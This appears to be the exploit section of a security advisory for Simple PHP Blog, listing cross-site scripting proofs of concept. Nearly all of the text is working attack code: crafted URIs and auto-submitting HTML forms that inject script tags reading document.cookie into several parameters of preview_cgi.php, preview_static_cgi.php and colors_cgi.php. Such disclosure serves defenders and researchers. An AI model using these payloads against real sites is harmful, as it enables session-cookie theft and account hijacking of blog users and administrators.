• info
• discussion
• exploit
• solution
• references

Simple PHP Blog Multiple Input Validation Vulnerabilities

No exploit is required.

Example URI and HTML code have been provided:

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>

http://www.example.com/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>